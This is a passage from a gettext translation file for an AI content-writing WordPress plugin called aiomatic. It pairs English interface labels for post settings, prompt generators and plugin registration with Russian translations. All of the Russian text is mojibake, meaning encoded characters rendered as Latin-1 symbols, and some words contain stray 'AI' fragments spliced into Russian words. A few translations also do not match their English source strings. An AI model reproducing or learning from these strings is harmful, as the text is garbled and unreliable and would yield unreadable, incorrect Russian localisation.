Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸!" #: res/aiomatic-main.php:7972 #, php-format msgid "" "Please set a the image attribution shortcode value. You can use this value, " "using the %%image_attribution%% shortcode, in 'Prepend Content With' and " "'Append Content With' settings fields. You can use the following shortcodes, " "in this settings field: %%image_source_name%%, %%image_source_website%%, " "%%image_source_url%%. These will be updated automatically for the respective " "image source, from where the imported image is from. This will replace the " "%%royalty_free_image_attribution%% shortcode, in 'Generated Post Content' " "settings field." msgstr "" "ПожалуйÑта, уÑтановите значение Шорткода атрибуции изображениÑ. Ð’Ñ‹ можете " "иÑпользовать Ñто значение, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ %%image_attribution%% Шорткод, в полÑÑ… " "ÐаÑтроек «Добавить Контент Ñ» и «Добавить Контент Ñ». Ð’ Ñтом поле ÐаÑтроек " "вы можете иÑпользовать Ñледующие Шорткоды: %%image_source_name%%, " "%%image_source_website%%, %%image_source_url%%. Они будут автоматичеÑки " "обновлены Ð´Ð»Ñ ÑоответÑтвующего иÑточника изображениÑ, из которого " "импортировано изображение. Это заменит %%royalty_free_image_attribution%% " "Шорткод, в поле ÐаÑтроек «Сгенерированный Контент ПоÑта»." #: aiomatic-ajax-actions.php:4893 msgid "Please specify also a namespace for embeddings." msgstr "ПожалуйÑта, укажите также проÑтранÑтво имен Ð´Ð»Ñ Ð²Ñтраиваний." #: res/aiomatic-main.php:1551 msgid "plugin" msgstr "Плагин" #: res/aiomatic-main.php:16 msgid "Plugin Activation" msgstr "ÐÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°" #: res/aiomatic-main.php:7616 msgid "Plugin Advanced Settings:" msgstr "РаÑширенные ÐаÑтройки Плагина:" #: res/aiomatic-spinner-list.php:4175 msgid "Plugin Autorun Interval:" msgstr "Интервал ÐвтозапуÑка Плагина:" #: res/aiomatic-main.php:7320 msgid "Plugin General Settings:" msgstr "Общие ÐаÑтройки Плагина:" #: res/aiomatic-main.php:1523 res/aiomatic-spinner-list.php:819 msgid "Plugin registration failed!" msgstr "РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° не удалаÑÑŒ!" #: res/aiomatic-main.php:1668 msgid "Plugin Registration Info - Automatic Updates Enabled:" msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ региÑтрации Плагина - автоматичеÑкое обновление включено:" #: res/aiomatic-main.php:1532 res/aiomatic-spinner-list.php:828 msgid "Plugin registration successful!" msgstr "РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° прошла уÑпешно!" #: res/aiomatic-review-list.php:3407 msgid "Point Of View" msgstr "Точка зрениÑ" #: res/aiomatic-review-list.php:829 res/aiomatic-single-list.php:6334 msgid "Point Of View:" msgstr "Точка зрениÑ:" #: aiomatic-helpers.php:1495 msgid "Poland" msgstr "Польша" #: res/aiomatic-amazon-list.php:43 res/aiomatic-main.php:8583 #: res/aiomatic-review-list.php:43 res/aiomatic-rules-list.php:43 #: res/aiomatic-single-list.php:43 res/aiomatic-single-list.php:181 #: res/aiomatic-youtube-list.php:43 msgid "Polish" msgstr "ПольÑкий" #: res/aiomatic-languages.php:42 msgid "Polish (Google Translate)" msgstr "ПольÑкий (переводчик Google)" #: res/aiomatic-main.php:8308 res/aiomatic-main.php:8827 msgid "Popular" msgstr "ПопулÑрный" #: aiomatic-automatic-ai-content-writer.php:15394 msgid "Popular Post Source" msgstr "ПопулÑрный поÑÑ‚ иÑточник" #: res/aiomatic-amazon-list.php:44 res/aiomatic-main.php:8588 #: res/aiomatic-review-list.php:44 res/aiomatic-rules-list.php:44 #: res/aiomatic-single-list.php:44 res/aiomatic-single-list.php:182 #: res/aiomatic-youtube-list.php:44 msgid "Portuguese" msgstr "португальÑкий" #: res/aiomatic-languages.php:43 msgid "Portuguese (Google Translate)" msgstr "ПортугальÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:2405 res/aiomatic-automation-list.php:4967 #: res/aiomatic-csv-list.php:952 res/aiomatic-review-list.php:2474 #: res/aiomatic-rules-list.php:2602 res/aiomatic-youtube-list.php:2376 msgid "Possible reasons:" msgstr "Возможные причины:" #: res/aiomatic-amazon-list.php:4469 res/aiomatic-csv-list.php:1472 #: res/aiomatic-review-list.php:4622 res/aiomatic-rules-list.php:4858 #: res/aiomatic-youtube-list.php:4397 msgid "Post Author" msgstr "Ðвтор запиÑи" #: aiomatic-automation.php:1127 msgid "Post Author ID" msgstr "Post Author ID" #: res/aiomatic-amazon-list.php:1897 res/aiomatic-csv-list.php:346 #: res/aiomatic-review-list.php:1966 res/aiomatic-rules-list.php:2095 #: res/aiomatic-youtube-list.php:1868 msgid "Post Author:" msgstr "Ðвтор:" #: res/aiomatic-spinner-list.php:2174 msgid "Post Automatic Categories Options:" msgstr "Параметры ÐвтоматичеÑких Категорий ПоÑтов:" #: res/aiomatic-spinner-list.php:2524 msgid "Post Automatic Commenting Options:" msgstr "Параметры ÐвтоматичеÑкого ÐšÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸:" #: res/aiomatic-spinner-list.php:2349 #| msgid "Post Automatic Linking Options:" msgid "Post Automatic Tags Options:" msgstr "Параметры ÐвтоматичеÑких Тегов ПоÑта:" #: aiomatic-automation.php:1199 res/aiomatic-single-list.php:576 #: res/aiomatic-single-list.php:7362 msgid "Post Categories" msgstr "КатегорAI ПоÑтов" #: res/aiomatic-amazon-list.php:1292 res/aiomatic-amazon-list.php:3828 #: res/aiomatic-review-list.php:1361 res/aiomatic-review-list.php:3981 #: res/aiomatic-rules-list.php:1494 res/aiomatic-rules-list.php:4229 #: res/aiomatic-youtube-list.php:1248 res/aiomatic-youtube-list.php:3739 msgid "Post Category Options" msgstr "Параметры категорAI ПоÑтов" #: res/aiomatic-training.php:291 msgid "Post Category to Process" msgstr "Категории ПоÑтов Ð´Ð»Ñ ÐžÐ±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸" #: aiomatic-automation.php:1106 res/aiomatic-single-list.php:358 #: res/aiomatic-single-list.php:7219 msgid "Post Content" msgstr "РазмеÑтить запиÑÑŒ" #: res/aiomatic-rules-list.php:1132 res/aiomatic-rules-list.php:3892 #: res/aiomatic-single-list.php:2571 msgid "Post Content - AI Text Generator Options" msgstr "Опубликовать Контент — параметры Генератора текÑта AI" #: res/aiomatic-spinner-list.php:2049 msgid "Post Content Automatic Linking Options:" msgstr "Параметры ÐвтоматичеÑкого Ð›Ð¸Ð½ÐºÐ¾Ð²Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° ПоÑта:" #: res/aiomatic-single-list.php:280 msgid "Post created as draft. Choose what to do next:" msgstr "ПоÑÑ‚ Ñоздано как черновик. Выберите, что делать дальше:" #: res/aiomatic-rules-list.php:216 msgid "Post Creation Mode" msgstr "Режим поÑÑ‚-ÑозданиÑ" #: res/aiomatic-amazon-list.php:4667 res/aiomatic-csv-list.php:1687 #: res/aiomatic-review-list.php:4820 res/aiomatic-rules-list.php:5056 #: res/aiomatic-youtube-list.php:4595 msgid "Post Custom Fields" msgstr "ПользовательÑкие ÐŸÐ¾Ð»Ñ Ð·Ð°Ð¿Ð¸Ñи" #: res/aiomatic-amazon-list.php:2061 res/aiomatic-csv-list.php:525 #: res/aiomatic-review-list.php:2130 res/aiomatic-rules-list.php:2259 #: res/aiomatic-youtube-list.php:2032 msgid "Post Custom Fields:" msgstr "Опубликовать пользовательÑкие полÑ:" #: res/aiomatic-amazon-list.php:4679 res/aiomatic-csv-list.php:1699 #: res/aiomatic-review-list.php:4832 res/aiomatic-rules-list.php:5068 #: res/aiomatic-youtube-list.php:4607 msgid "Post Custom Taxonomies" msgstr "Опубликовать пользовательÑкие такÑономAI" #: res/aiomatic-amazon-list.php:2076 res/aiomatic-csv-list.php:540 #: res/aiomatic-review-list.php:2145 res/aiomatic-rules-list.php:2274 #: res/aiomatic-youtube-list.php:2047 msgid "Post Custom Taxonomies:" msgstr "Опубликовать пользовательÑкие такÑономAI:" #: aiomatic-automation.php:639 msgid "Post Data Importing" msgstr "Импорт данных поÑта" #: aiomatic-automation.php:1171 msgid "Post Date Range" msgstr "Диапазон дат поÑта" #: aiomatic-automation.php:1113 res/aiomatic-single-list.php:409 msgid "Post Excerpt" msgstr "ÐÐ½Ð¾Ð½Ñ ÐŸÐ¾Ñта" #: aiomatic-automation.php:1146 msgid "Post Format" msgstr "Формат ПоÑта" #: aiomatic-automation.php:648 msgid "Post ID" msgstr "ID ПоÑта" #: aiomatic-automation.php:1240 msgid "Post ID (Optional)" msgstr "ID ПоÑта (необÑзательно)" #: res/aiomatic-embeddings.php:363 res/aiomatic-spinner-list.php:4411 msgid "Post IDs:" msgstr "ID запиÑей:" #: res/aiomatic-embeddings.php:379 res/aiomatic-spinner-list.php:4427 msgid "Post Name:" msgstr "Ð˜Ð¼Ñ ÐŸÐ¾ÑÑ‚Ñ‹:" #: res/aiomatic-single-list.php:510 res/aiomatic-single-list.php:7296 msgid "Post Options" msgstr "ÐаÑтройки запиÑей" #: aiomatic-automation.php:1152 msgid "Post Parent" msgstr "РодительÑкий ПоÑÑ‚" #: res/aiomatic-amazon-list.php:4612 res/aiomatic-csv-list.php:1615 #: res/aiomatic-review-list.php:4765 res/aiomatic-rules-list.php:5001 #: res/aiomatic-youtube-list.php:4540 msgid "Post Parent ID" msgstr "ID РодительÑкого ПоÑта" #: res/aiomatic-amazon-list.php:2001 res/aiomatic-csv-list.php:450 #: res/aiomatic-review-list.php:2070 res/aiomatic-rules-list.php:2199 #: res/aiomatic-youtube-list.php:1972 msgid "Post Parent ID:" msgstr "ID РодительÑкого ПоÑта:" #: res/aiomatic-embeddings.php:427 res/aiomatic-spinner-list.php:4475 msgid "Post Parent:" msgstr "Post РодительÑкий:" #: res/aiomatic-single-list.php:324 msgid "Post Sections" msgstr "Почтовые Разделы" #: res/aiomatic-review-list.php:3098 res/aiomatic-rules-list.php:3265 #: res/aiomatic-youtube-list.php:2998 msgid "Post Sections List (Optional)" msgstr "СпиÑок Разделов публикации (необÑзательно)" #: res/aiomatic-review-list.php:435 res/aiomatic-rules-list.php:441 #: res/aiomatic-single-list.php:1394 res/aiomatic-single-list.php:3382 #: res/aiomatic-single-list.php:5940 res/aiomatic-youtube-list.php:444 msgid "Post Sections List (Optional):" msgstr "СпиÑок Разделов ПоÑта (необÑзательно):" #: aiomatic-automation.php:1120 msgid "Post Slug" msgstr "Slug ПоÑта" #: aiomatic-automatic-ai-content-writer.php:15406 msgid "Post Source" msgstr "ИÑточник запиÑи" #: aiomatic-automation.php:1134 res/aiomatic-amazon-list.php:4493 #: res/aiomatic-csv-list.php:1496 res/aiomatic-review-list.php:4646 #: res/aiomatic-rules-list.php:4882 res/aiomatic-youtube-list.php:4421 msgid "Post Status" msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·Ð°Ð¿Ð¸Ñи" #: res/aiomatic-amazon-list.php:1921 res/aiomatic-csv-list.php:370 #: res/aiomatic-embeddings.php:459 res/aiomatic-review-list.php:1990 #: res/aiomatic-rules-list.php:2119 res/aiomatic-spinner-list.php:4507 #: res/aiomatic-youtube-list.php:1892 msgid "Post Status:" msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸:" #: res/aiomatic-amazon-list.php:1419 res/aiomatic-amazon-list.php:3982 #: res/aiomatic-review-list.php:1488 res/aiomatic-review-list.php:4135 #: res/aiomatic-rules-list.php:1621 res/aiomatic-rules-list.php:4383 #: res/aiomatic-youtube-list.php:1375 res/aiomatic-youtube-list.php:3893 msgid "Post Tag Options" msgstr "Параметры тега публикации" #: aiomatic-automation.php:1206 res/aiomatic-single-list.php:596 #: res/aiomatic-single-list.php:7382 msgid "Post Tags" msgstr "ТÑги ПоÑтов" #: aiomatic-automation.php:1099 res/aiomatic-single-list.php:315 #: res/aiomatic-single-list.php:7213 msgid "Post Title" msgstr "Заголовок запиÑи" #: res/aiomatic-rules-list.php:1195 res/aiomatic-rules-list.php:3945 #: res/aiomatic-single-list.php:2634 #, php-format msgid "" "Post Title - AI Text Generator Options (%%ai_generated_title%% shortcode)" msgstr "" "Заголовок ПоÑты – параметры Генератора текÑта AI (Шорткод " "%%ai_generated_title%%)" #: res/aiomatic-rules-list.php:226 res/aiomatic-single-list.php:990 msgid "Post Title List / TXT File URL / RSS Feed URL" msgstr "СпиÑок Заголовоков ПоÑтов / URL-Ð°Ð´Ñ€ÐµÑ TXT-файла / URL-Ð°Ð´Ñ€ÐµÑ RSS-канала" #: res/aiomatic-rules-list.php:3996 msgid "Post Title Source" msgstr "Заголовок ПоÑÑ‚Ñ‹ ИÑточник" #: res/aiomatic-rules-list.php:1250 res/aiomatic-single-list.php:2689 msgid "Post Title Source:" msgstr "ИÑточник заголовка ПоÑÑ‚Ñ‹:" #: res/aiomatic-single-list.php:974 msgid "Post Topic List" msgstr "СпиÑок Тем ПоÑтов" #: aiomatic-automation.php:1140 res/aiomatic-single-list.php:520 #: res/aiomatic-single-list.php:7306 msgid "Post Type" msgstr "Тип ПоÑта" #: res/aiomatic-embeddings.php:443 res/aiomatic-spinner-list.php:4491 msgid "Post Type:" msgstr "Тип запиÑи:" #: res/aiomatic-amazon-list.php:3823 res/aiomatic-csv-list.php:1794 #: res/aiomatic-review-list.php:3976 res/aiomatic-rules-list.php:4224 #: res/aiomatic-youtube-list.php:3734 #| msgid "Post Types Where To Generate Inboud Links" msgid "Post Types Where To Generate Automatic Links" msgstr "Типы ПоÑтов Где генерировать ВходÑщие СÑылки" #: res/aiomatic-amazon-list.php:1285 res/aiomatic-csv-list.php:639 #: res/aiomatic-review-list.php:1354 res/aiomatic-rules-list.php:1487 #: res/aiomatic-single-list.php:1294 res/aiomatic-single-list.php:2191 #: res/aiomatic-single-list.php:2926 res/aiomatic-single-list.php:4179 #: res/aiomatic-single-list.php:5493 res/aiomatic-single-list.php:6859 #: res/aiomatic-youtube-list.php:1241 msgid "Post Types Where To Generate Automatic Links:" msgstr "Типы ПоÑтов, где генерировать ÐвтоматичеÑкие СÑылки:" #: res/aiomatic-spinner-list.php:2167 msgid "Post Types Where To Generate Inboud Links:" msgstr "Типы ПоÑтов Где генерировать ВходÑщие СÑылки:" #: aiomatic-automatic-ai-content-writer.php:1794 #| msgid "" #| "Post will be edited respecting the configurations you made in the \\'AI " #| "Content Editor\\' plugin menu section." msgid "" "Post will be edited respecting the configurations you made in the 'AI " "Content Editor' plugin menu section." msgstr "" "ПоÑÑ‚ будет отредактирован Ñ ÑƒÑ‡ÐµÑ‚Ð¾Ð¼ ÐаÑтроек, Ñделанных вами в Разделе меню " "Плагина «AI Редактор Контента»." #: res/aiomatic-single-list.php:951 msgid "Posting Mode" msgstr "Режим ПоÑтинга" #: res/aiomatic-amazon-list.php:1742 res/aiomatic-amazon-list.php:4325 #: res/aiomatic-csv-list.php:221 res/aiomatic-csv-list.php:1341 #: res/aiomatic-review-list.php:1811 res/aiomatic-review-list.php:4478 #: res/aiomatic-rules-list.php:1940 res/aiomatic-rules-list.php:4714 #: res/aiomatic-single-list.php:946 res/aiomatic-single-list.php:1131 #: res/aiomatic-single-list.php:2389 res/aiomatic-single-list.php:3139 #: res/aiomatic-single-list.php:3355 res/aiomatic-single-list.php:4392 #: res/aiomatic-single-list.php:5706 res/aiomatic-single-list.php:7072 #: res/aiomatic-youtube-list.php:417 res/aiomatic-youtube-list.php:1698 #: res/aiomatic-youtube-list.php:2973 res/aiomatic-youtube-list.php:4236 msgid "Posting Options" msgstr "Варианты публикации" #: res/aiomatic-training.php:279 msgid "Posts" msgstr "ПоÑÑ‚Ñ‹" #: res/aiomatic-spinner-list.php:3903 msgid "Posts Automatic Editing Filtering:" msgstr "ÐвтоматичеÑкое редактирование ПоÑтов ФильтрациÑ:" #: res/aiomatic-embeddings.php:286 msgid "Posts From Which To Create Embeddings:" msgstr "ПоÑÑ‚Ñ‹, из которых можно Ñоздавать вÑтраиваниÑ:" #: res/aiomatic-amazon-list.php:4727 res/aiomatic-automation-list.php:7420 #: res/aiomatic-csv-list.php:1831 res/aiomatic-review-list.php:4880 #: res/aiomatic-rules-list.php:5117 res/aiomatic-youtube-list.php:4655 msgid "Posts Generated:" msgstr "Созданные ПоÑÑ‚Ñ‹:" #: res/aiomatic-main.php:6312 msgid "Premium Spinner Service Password/API Key:" msgstr "СервиÑный пароль Premium Spinner / ключ API:" #: res/aiomatic-main.php:6291 msgid "Premium Spinner Service User Name/Email:" msgstr "Премиум Spinner Service Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ / Ð°Ð´Ñ€ÐµÑ Ñлектронной почты:" #: res/aiomatic-amazon-list.php:3724 res/aiomatic-review-list.php:3877 #: res/aiomatic-rules-list.php:4125 res/aiomatic-youtube-list.php:3635 msgid "Prepend Text To All Textual AI Prompts" msgstr "Добавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AI" #: res/aiomatic-amazon-list.php:1187 res/aiomatic-review-list.php:1256 #: res/aiomatic-rules-list.php:1389 res/aiomatic-single-list.php:2093 #: res/aiomatic-single-list.php:2828 res/aiomatic-single-list.php:4081 #: res/aiomatic-single-list.php:5395 res/aiomatic-single-list.php:6761 #: res/aiomatic-youtube-list.php:1143 msgid "Prepend Text To All Textual AI Prompts:" msgstr "Добавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AI:" #: res/aiomatic-spinner-list.php:1627 res/aiomatic-spinner-list.php:3719 #| msgid "Preppend To The Beginning" msgid "Prepend To The Beginning" msgstr "Добавить к началу" #: res/aiomatic-main.php:6396 msgid "Preppend Text To Prompts For Content Completion:" msgstr "Добавьте текÑÑ‚ к промптам Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°:" #: aiomatic-ajax-actions.php:8141 aiomatic-shortcodes-file.php:583 #: res/aiomatic-shortcodes.php:341 msgid "Presence Penalty" msgstr "Presence Penalty" #: res/aiomatic-chatbot.php:1020 res/aiomatic-chatbot.php:4469 msgid "Presence Penalty:" msgstr "Штраф за приÑутÑтвие:" #: res/aiomatic-chatbot.php:5087 msgid "Prev" msgstr "Ðазад" #: res/aiomatic-shortcodes.php:550 msgid "Preview" msgstr "ПредпроÑмотр" #: res/image-seo/seo-panel.php:145 msgid "Preview image:" msgstr "Изображение Ð´Ð»Ñ Ð¿Ñ€ÐµÐ´Ð²Ð°Ñ€Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð³Ð¾ проÑмотра:" #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "Previous Page" msgstr "Ð¿Ñ€ÐµÐ´Ñ‹Ð´ÑƒÑ‰Ð°Ñ Ñтраница" #: res/aiomatic-limits-statistics.php:94 res/aiomatic-limits-statistics.php:706 #: res/aiomatic-limits-statistics.php:1125 #: res/aiomatic-limits-statistics.php:1289 #: res/aiomatic-limits-statistics.php:1520 msgid "Price" msgstr "Цена" #: res/aiomatic-limits-statistics.php:485 msgid "Price: The cost of the request." msgstr "ПрайÑ: СтоимоÑÑ‚ÑŒ запроÑа." #: aiomatic-helpers.php:1470 res/aiomatic-amazon-list.php:487 #: res/aiomatic-amazon-list.php:3076 res/aiomatic-single-list.php:4695 msgid "Price:HighToLow" msgstr "Цена:Ð’Ñ‹ÑокаÑ-ÐизкаÑ" #: aiomatic-helpers.php:1469 res/aiomatic-amazon-list.php:486 #: res/aiomatic-single-list.php:4694 msgid "Price:LowToHigh" msgstr "Цена: ÐизкаÑ-Ð’Ñ‹ÑокаÑ" #: aiomatic-automatic-ai-content-writer.php:13305 #: aiomatic-automatic-ai-content-writer.php:14188 #: res/aiomatic-amazon-list.php:1928 res/aiomatic-amazon-list.php:4515 #: res/aiomatic-automation-list.php:667 res/aiomatic-automation-list.php:1556 #: res/aiomatic-automation-list.php:3134 res/aiomatic-automation-list.php:4023 #: res/aiomatic-automation-list.php:5887 res/aiomatic-automation-list.php:6780 #: res/aiomatic-csv-list.php:377 res/aiomatic-csv-list.php:1518 #: res/aiomatic-review-list.php:1997 res/aiomatic-review-list.php:4668 #: res/aiomatic-rules-list.php:2126 res/aiomatic-rules-list.php:4904 #: res/aiomatic-single-list.php:544 res/aiomatic-single-list.php:7330 #: res/aiomatic-spinner-list.php:3859 res/aiomatic-youtube-list.php:1899 #: res/aiomatic-youtube-list.php:4443 msgid "Private" msgstr "Личное" #: res/aiomatic-main.php:5444 msgid "Process Also Taxonomies Which Already Have A Description:" msgstr "Обрабатывайте Также ТакÑономии, у Которых уже еÑÑ‚ÑŒ ОпиÑание:" #: res/aiomatic-automation-list.php:7376 msgid "Process Each Keyword Only Once" msgstr "Обрабатывайте каждое ключевое Ñлово только один раз" #: res/aiomatic-automation-list.php:4657 msgid "Process Each Keyword Only Once:" msgstr "Обрабатывайте каждое ключевое Ñлово только один раз:" #: aiomatic-automation.php:280 aiomatic-automation.php:350 msgid "Process Each Result With AI Prompt" msgstr "Обрабатывайте каждый результат Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI-промпта" #: res/aiomatic-amazon-list.php:4411 res/aiomatic-review-list.php:4564 msgid "Process Each Title/Keyword Only Once" msgstr "Обработка каждого Заголовка/Ключевого Ñлова только один раз" #: res/aiomatic-amazon-list.php:1837 res/aiomatic-review-list.php:1906 msgid "Process Each Title/Keyword Only Once:" msgstr "Обработка каждого Заголовка/Ключевого Ñлова только один раз:" #: res/aiomatic-csv-list.php:1414 res/aiomatic-rules-list.php:4800 #| msgid "Process Each Title Only Once" msgid "Process Each Title/Topic Only Once" msgstr "Обрабатывать каждый Заголовок/Тему Только Один раз" #: res/aiomatic-csv-list.php:286 res/aiomatic-rules-list.php:2035 #| msgid "Process Each Title Only Once:" msgid "Process Each Title/Topic Only Once:" msgstr "Обрабатывать каждый Заголовок/Тему Только Один раз:" #: res/aiomatic-youtube-list.php:4322 msgid "Process Each Title/Video Only Once" msgstr "Обрабатывайте каждый Заголовок/Видео только один раз" #: res/aiomatic-youtube-list.php:1793 msgid "Process Each Title/Video Only Once:" msgstr "Обрабатывайте каждый Заголовок/Видео только один раз:" #: res/aiomatic-main.php:5805 msgid "Process Titles/Topics In Order, Not Random:" msgstr "Обработка Заголовков/Тем по порÑдку, а не в Ñлучайном порÑдке:" #: res/aiomatic-youtube-list.php:4356 msgid "Process Videos In Order Of Entry" msgstr "Обработка видео в порÑдке поÑтуплениÑ" #: res/aiomatic-single-list.php:4487 res/aiomatic-youtube-list.php:1823 msgid "Process Videos In Order Of Entry:" msgstr "Обработка видео в порÑдке поÑтуплениÑ:" #: aiomatic-automation.php:469 msgid "Product Listing Template" msgstr "Шаблон ÑпиÑка продуктов" #: aiomatic-automation.php:436 res/aiomatic-amazon-list.php:216 #: res/aiomatic-single-list.php:1022 msgid "Product Search Keywords / Product ASIN List" msgstr "Ключевые Ñлова поиÑка продукта / СпиÑок ASIN продуктов" #: res/aiomatic-training.php:284 msgid "Products" msgstr "Продукты" #: res/aiomatic-main.php:3361 res/aiomatic-single-list.php:864 #: res/aiomatic-single-list.php:873 res/aiomatic-single-list.php:882 #: res/aiomatic-single-list.php:913 res/aiomatic-training.php:164 msgid "Prompt" msgstr "Промпт" #: res/aiomatic-main.php:7915 msgid "Prompt For OpenAI Keyword Generator For Royalty Free Image Importing:" msgstr "" "Промпт Генератора Ключевых Слов OpenAI Ð´Ð»Ñ Ð¸Ð¼Ð¿Ð¾Ñ€Ñ‚Ð° изображений без " "лицензионных отчиÑлений:" #: res/aiomatic-amazon-list.php:3901 res/aiomatic-review-list.php:4054 #: res/aiomatic-rules-list.php:4302 res/aiomatic-youtube-list.php:3812 #| msgid "Prompt For The OpenAI Category Generator" msgid "Prompt For The AI Category Generator" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий OpenAI" #: res/aiomatic-amazon-list.php:1348 res/aiomatic-review-list.php:1417 #: res/aiomatic-rules-list.php:1550 res/aiomatic-spinner-list.php:2245 #: res/aiomatic-youtube-list.php:1304 msgid "Prompt For The AI Category Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Категорий AI:" #: res/aiomatic-spinner-list.php:2577 msgid "Prompt For The AI Comment Generator:" msgstr "Промпты Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Комментариев AI:" #: res/aiomatic-amazon-list.php:4245 res/aiomatic-review-list.php:4398 #: res/aiomatic-rules-list.php:4634 res/aiomatic-youtube-list.php:4156 msgid "Prompt For The AI Image Generator" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° изображений AI" #: res/aiomatic-amazon-list.php:1679 res/aiomatic-review-list.php:1748 #: res/aiomatic-rules-list.php:1877 res/aiomatic-single-list.php:2344 #: res/aiomatic-single-list.php:3094 res/aiomatic-single-list.php:4347 #: res/aiomatic-single-list.php:5661 res/aiomatic-single-list.php:7027 #: res/aiomatic-youtube-list.php:1635 msgid "Prompt For The AI Image Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° изображений AI:" #: res/aiomatic-amazon-list.php:4054 res/aiomatic-review-list.php:4207 #: res/aiomatic-rules-list.php:4455 res/aiomatic-youtube-list.php:3965 #| msgid "Prompt For The OpenAI Post Tag Generator" msgid "Prompt For The AI Post Tag Generator" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов ПоÑта OpenAI" #: res/aiomatic-amazon-list.php:1475 res/aiomatic-review-list.php:1544 #: res/aiomatic-rules-list.php:1677 res/aiomatic-youtube-list.php:1431 #| msgid "Prompt For The OpenAI Post Tag Generator:" msgid "Prompt For The AI Post Tag Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов ПоÑта OpenAI" #: res/aiomatic-spinner-list.php:1972 msgid "Prompt For The AI Related Headings Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков, ÑвÑзанных Ñ AI:" #: res/aiomatic-spinner-list.php:2812 msgid "Prompt For The AI SEO Meta Description Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Мета-опиÑÐ°Ð½Ð¸Ñ AI SEO:" #: res/aiomatic-spinner-list.php:2420 msgid "Prompt For The AI Tags Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Тегов AI:" #: res/aiomatic-rules-list.php:3927 #| msgid "Prompt For The OpenAI Text Generator" msgid "Prompt For The AI Text Generator" msgstr "Промпт Ð´Ð»Ñ Ð¢ÐµÐºÑтового Генератора AI" #: res/aiomatic-rules-list.php:1167 res/aiomatic-single-list.php:2606 #: res/aiomatic-spinner-list.php:1645 msgid "Prompt For The AI Text Generator:" msgstr "Промпт Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта AI:" #: res/aiomatic-rules-list.php:3984 #| msgid "Prompt For The OpenAI Title Text Generator" msgid "Prompt For The AI Title Text Generator" msgstr "Промпт Генератора текÑта Заголовка AI" #: res/aiomatic-rules-list.php:1236 res/aiomatic-single-list.php:2675 #| msgid "Prompt For The OpenAI Title Text Generator:" msgid "Prompt For The AI Title Text Generator:" msgstr "Промпт Генератора текÑта Заголовка AI:" #: res/aiomatic-main.php:6357 msgid "Prompt Processing - Bulk Or Random Selection:" msgstr "БыÑÑ‚Ñ€Ð°Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ° — маÑÑовый или Ñлучайный выбор:" #: res/aiomatic-chatbot.php:1367 res/aiomatic-chatbot.php:4187 msgid "Prompt Templates:" msgstr "Шаблоны Промптов:" #: res/aiomatic-main.php:6420 msgid "Prompt to append to text continuation requests" msgstr "Промпт на добавление к запроÑам на продолжение текÑта" #: res/aiomatic-amazon-list.php:3462 #, php-format #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "for generating post tags. You can use the following shortcodes here: " #| "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " #| "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT " #| "file, containing keywords (one per line), or to an RSS feed. If you use " #| "RSS feeds, you can also use the following additional shortcodes: " #| "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " #| "%%post_cats%%, %%author_name%%, %%current_date_time%%, 